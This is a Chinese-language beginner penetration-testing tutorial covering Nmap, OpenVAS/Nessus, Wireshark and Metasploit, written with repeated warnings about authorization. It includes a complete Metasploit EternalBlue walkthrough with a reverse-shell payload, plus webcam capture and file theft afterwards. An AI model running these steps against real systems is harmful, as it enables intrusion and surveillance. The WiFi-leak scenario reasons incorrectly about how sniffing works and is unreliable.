渗透测试(三)4类核心渗透测试工具详解
对刚入门渗透测试的小伙伴来说,面对五花八门的工具常常会犯难:“Nmap和OpenVAS到底有啥区别?”“Metasploit看起来好复杂,怎么上手?”其实,渗透测试工具就像厨师的刀——不同工具对应不同“烹饪步骤”,比如先用Nmap“摸清对方家底”,再用OpenVAS“排查健康隐患”,最后用Metasploit“精准出击”。今天就带大家拆解4类最常用的渗透测试工具,结合“测试朋友的小网站”“排查公司内网设备”等真实场景,教你从“工具小白”变成“实战能手”。
一、网络扫描工具:用Nmap摸清目标“底细”
1. 工具定位:渗透测试的“侦察兵”
网络扫描工具的核心作用,是帮你搞清楚“目标系统有什么”——比如服务器开了哪些端口、运行着什么服务、用的是什么操作系统。而Nmap(Network Mapper)就是这类工具里的“扛把子”,不仅免费开源,还支持Windows、Linux、Mac全平台,能应对从“家庭路由器”到“企业服务器”的各种扫描需求。
2. 真实场景:帮朋友排查“小电商网站”的暴露风险
朋友开了个小众电商网站,网址是www.xxx-shop.com,担心服务器暴露太多端口有风险,我用Nmap帮他做了次扫描,步骤超简单:
(1)基础扫描:快速摸清“开放端口”
先打开终端(Windows用CMD或PowerShell,Linux直接开终端),输入最基础的扫描命令:
nmap www.xxx-shop.com
不到10秒,结果就出来了:
- 开放端口:80(HTTP,网站服务)、443(HTTPS,加密网站)、3306(MySQL,数据库)、22(SSH,远程登录)
- 操作系统:大概率是Linux(Nmap通过端口服务特征推断)
这一步就像“绕着目标建筑走一圈”,很快知道了“哪些门是开着的”。
(2)深度扫描:搞清楚“门后有什么服务”
基础扫描只知道“有门”,但不知道“门后是仓库还是办公室”,所以需要用-sV参数查看服务版本:
nmap -sV www.xxx-shop.com -p 22,80,3306,443
这次结果更详细了:
- 22端口:OpenSSH 7.9p1(有漏洞风险,比如CVE-2019-6111)
- 80端口:Apache httpd 2.4.39(常见的Web服务器,需后续查漏洞)
- 3306端口:MySQL 5.7.28(数据库版本较旧,可能有未修复漏洞)
- 443端口:TLS 1.2(加密协议没问题,但需确认证书是否过期)
朋友看到结果吓了一跳:“我居然把数据库端口3306对外开放了?”——这就是Nmap的价值:帮你发现“自己都没注意到的暴露风险”。
(3)进阶技巧:用“脚本扫描”找隐藏问题
Nmap还有个强大功能——内置脚本库(NSE),能自动检测常见漏洞。比如想看看服务器有没有弱口令,输入:
nmap --script brute www.xxx-shop.com -p 22,3306
虽然这次没扫出弱口令,但发现22端口的SSH允许“root直接登录”——这也是个高危风险,一旦密码被破解,黑客就能直接控制服务器。
3. 初学者避坑指南
- 别用“全端口扫描”折磨自己:默认扫描1-10000端口够了,扫“1-65535全端口”会花几小时,没必要;
- 扫描前一定要获授权:哪怕是测试朋友的网站,也要提前说清楚,擅自扫描他人系统可能违法;
- 看不懂结果就查“Nmap输出说明”:比如“filtered”表示端口被防火墙挡住,“open”表示端口开放,官网有详细解释,不用死记硬背。
二、漏洞扫描工具:用OpenVAS+Nessus排查“系统隐患”
1. 工具定位:渗透测试的“体检仪”
如果说Nmap是“侦察兵”,那漏洞扫描工具就是“医生”——能自动检查目标系统有没有“高血压”(弱口令)、“心脏病”(高危漏洞)。这里推荐两款工具:OpenVAS(免费开源,适合初学者练手)和Nessus(功能强大,企业级常用,有免费版)。
2. 真实场景:排查公司“内网办公电脑”的安全问题
公司行政部让我帮忙检查10台办公电脑的安全情况,我用OpenVAS做了次全面扫描,过程很有代表性:
(1)OpenVAS:免费搞定基础漏洞排查
第一步:在Kali Linux里打开OpenVAS(Kali默认预装,启动命令gvm-start),登录后新建“扫描任务”:
- 目标:192.168.1.101-192.168.1.110(10台电脑的内网IP)
- 扫描类型:选“Full and Fast”(快速全面扫描,适合初学者)
第二步:等待30分钟(10台电脑规模),扫描结果出来后,重点看“高危漏洞”:
- 3台电脑存在“MS17-010漏洞”(永恒之蓝漏洞,黑客曾用它发起勒索病毒攻击);
- 5台电脑的“管理员密码是123456”(弱口令,OpenVAS通过暴力破解检测出来);
- 所有电脑都没开启“Windows防火墙”(相当于家门没关)。
第三步:生成报告,把漏洞按“高危→中危→低危”排序,给行政部提建议:立即打MS17-010补丁、强制修改弱口令、开启防火墙。
(2)Nessus:深入挖掘隐藏漏洞
为了确认OpenVAS的结果,我又用Nessus(免费版)扫了一次,发现了更细节的问题:
- 有2台电脑安装的“Adobe Reader”是2020年的旧版本,存在“缓冲区溢出漏洞”(CVE-2021-28550);
- 1台电脑的“共享文件夹”权限设置错误,所有人都能读写里面的“员工工资表.xlsx”。
这就是两款工具的差异:OpenVAS能搞定基础漏洞,Nessus能挖得更深,适合需要精准结果的场景。
3. 初学者入门技巧
- OpenVAS先练手:免费且操作简单,先扫自己的电脑或虚拟机(比如VMware里的Windows 7),熟悉漏洞报告的解读;
- Nessus免费版够用:免费版支持扫描16个IP,对个人学习来说完全足够,官网注册就能获取激活码;
- 别迷信工具结果:工具扫出“高危漏洞”后,一定要手动验证(比如OpenVAS提示有MS17-010漏洞,用Metasploit再测一次),避免误报。
三、协议分析工具:用Wireshark“抓包”看透数据传输
1. 工具定位:渗透测试的“显微镜”
我们在网上发消息、传文件,本质上是“数据 packets(数据包)”在网络里跑。Wireshark能帮你“抓住”这些数据包,拆解里面的内容——比如看HTTP协议有没有明文传密码,看Modbus协议有没有被篡改指令,是分析协议漏洞的“神器”。
2. 真实场景:找出“WiFi密码泄露”的原因
朋友说他家的WiFi经常被陌生人蹭网,怀疑密码泄露了,我用Wireshark抓包分析,很快找到原因:
(1)抓包准备:把无线网卡调成“监听模式”
第一步:在Kali里用airmon-ng把无线网卡(需要支持监听模式,比如TP-Link TL-WN722N)调成监听模式:
airmon-ng start wlan0 # wlan0是无线网卡名称
第二步:用airodump-ng wlan0mon(监听模式下的网卡名)找到朋友家的WiFi:
- SSID:Xiaomi_1234(朋友家的WiFi名)
- BSSID:00:11:22:33:44:55(WiFi路由器的MAC地址)
- 频道:6
(2)抓包分析:看“密码是怎么泄露的”
第一步:用Wireshark抓“6频道”的数据包,过滤条件设为“http”(只看HTTP协议的包);
第二步:让朋友用手机连接WiFi,登录一个“小众论坛”(没开HTTPS);
第三步:很快在Wireshark里看到一个数据包,内容里清晰写着:
POST /login.php HTTP/1.1
Username: friend123
Password: 88888888
原来朋友登录的论坛没开HTTPS,密码用HTTP明文传输——只要有人在同一个WiFi里用Wireshark抓包,就能轻松拿到密码。
(3)解决办法:
- 让朋友把WiFi密码改成“字母+数字+特殊符号”的复杂密码;
- 提醒他尽量登录“带HTTPS”的网站(网址开头是https://,Wireshark抓包会显示加密内容,看不到密码)。
3. 初学者实用技巧
- 先学“过滤规则”:Wireshark抓包会有几万条数据,学会用过滤条件(比如
http只看HTTP包、ip.addr == 192.168.1.100只看某个IP的包)能节省大量时间; - 从“简单协议”开始:先分析HTTP、TCP协议的包,再学复杂的工业协议(比如Modbus、OPC);
- 别在公共WiFi乱抓包:在咖啡厅、商场等公共WiFi抓包,可能会抓到他人的隐私数据(比如银行卡信息),涉嫌违法。
四、漏洞利用框架:用Metasploit实现“精准攻击”
1. 工具定位:渗透测试的“攻坚武器”
如果说前面的工具是“侦察、体检、观察”,那Metasploit就是“实战武器”——它集成了大量“漏洞利用模块”,能帮你把“发现的漏洞”转化为“实际控制权限”。比如发现目标有MS17-010漏洞,用Metasploit就能一键获取系统权限,是初学者必须掌握的核心工具。
2. 真实场景:用Metasploit验证“Windows 7漏洞”
为了让朋友明白“MS17-010漏洞有多危险”,我在虚拟机里装了Windows 7(没打补丁),用Metasploit做了次模拟攻击:
(1)启动Metasploit:打开Kali终端,输入msfconsole,进入交互界面。
(2)查找“MS17-010漏洞”的利用模块:
输入search ms17-010,会显示多个模块,初学者选“exploit/windows/smb/ms17_010_eternalblue”(永恒之蓝漏洞的利用模块):
use exploit/windows/smb/ms17_010_eternalblue
(3)设置攻击参数:
需要设置3个关键参数:
RHOSTS:目标IP(我的Windows 7虚拟机IP是192.168.1.200)RPORT:目标端口(SMB协议默认445端口)PAYLOAD:攻击成功后执行的“ payload(载荷)”,选“windows/meterpreter/reverse_tcp”(反向连接,能获得交互式控制权限)
设置命令:
set RHOSTS 192.168.1.200
set RPORT 445
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100 # 我的Kali机器IP,让目标反向连接我
(4)发起攻击:输入exploit,等待几秒,出现“Meterpreter session 1 opened”就表示成功了!
(5)控制目标系统:
攻击成功后,进入“Meterpreter交互界面”,可以执行各种操作:
sysinfo:查看目标系统信息(比如Windows 7 32位);webcam_snap:调用目标电脑的摄像头拍一张照片;download C:\Users\Admin\Desktop\重要文件.txt:把目标电脑的文件下载到Kali里;shell:获取目标系统的CMD命令行权限,比如执行ipconfig看目标的网络配置。
朋友看到我在Kali里操作他的Windows 7虚拟机,直呼“太吓人了”——这就是Metasploit的威力:把“漏洞”变成“实际控制能力”。
3. 初学者避坑指南
- 先在虚拟机练手:别直接攻击真实系统,用VMware装Windows XP、Windows 7(没打补丁)当靶机,安全又放心;
- 理解“payload”的作用:不同payload有不同功能,比如“reverse_tcp”需要目标能连接你的IP(适合内网),“bind_tcp”是让目标开放端口等你连接(适合公网);
- 别贪多求全:先掌握1-2个常用漏洞模块(比如MS17-010、Adobe Reader漏洞),把流程走通,再学复杂模块。
写在最后:工具不是“万能钥匙”,思路才是核心
很多初学者会陷入“工具越多越好”的误区,其实真正重要的是“工具背后的思路”:
- 先用Nmap“摸清目标”,再用OpenVAS/Nessus“排查漏洞”,接着用Wireshark“分析细节”,最后用Metasploit“实战验证”——这是一套完整的渗透测试流程;
- 工具只是“实现手段”,比如同样是扫漏洞,OpenVAS和Nessus各有优劣,关键是你知道“要扫什么漏洞”“怎么解读结果”;
- 永远记住“合法合规”:渗透测试的核心是“保护系统”,不是“破坏系统”,所有测试都必须获得授权,否则可能触犯法律。
如果觉得这篇文章有用,欢迎点赞收藏。后续我会分享每款工具的“详细操作视频教程”(比如Metasploit实战MS17-010漏洞、Wireshark分析HTTPS加密包),有问题也可以在评论区留言,咱们一起从“工具小白”成长为“实战高手”!
更多推荐



所有评论(0)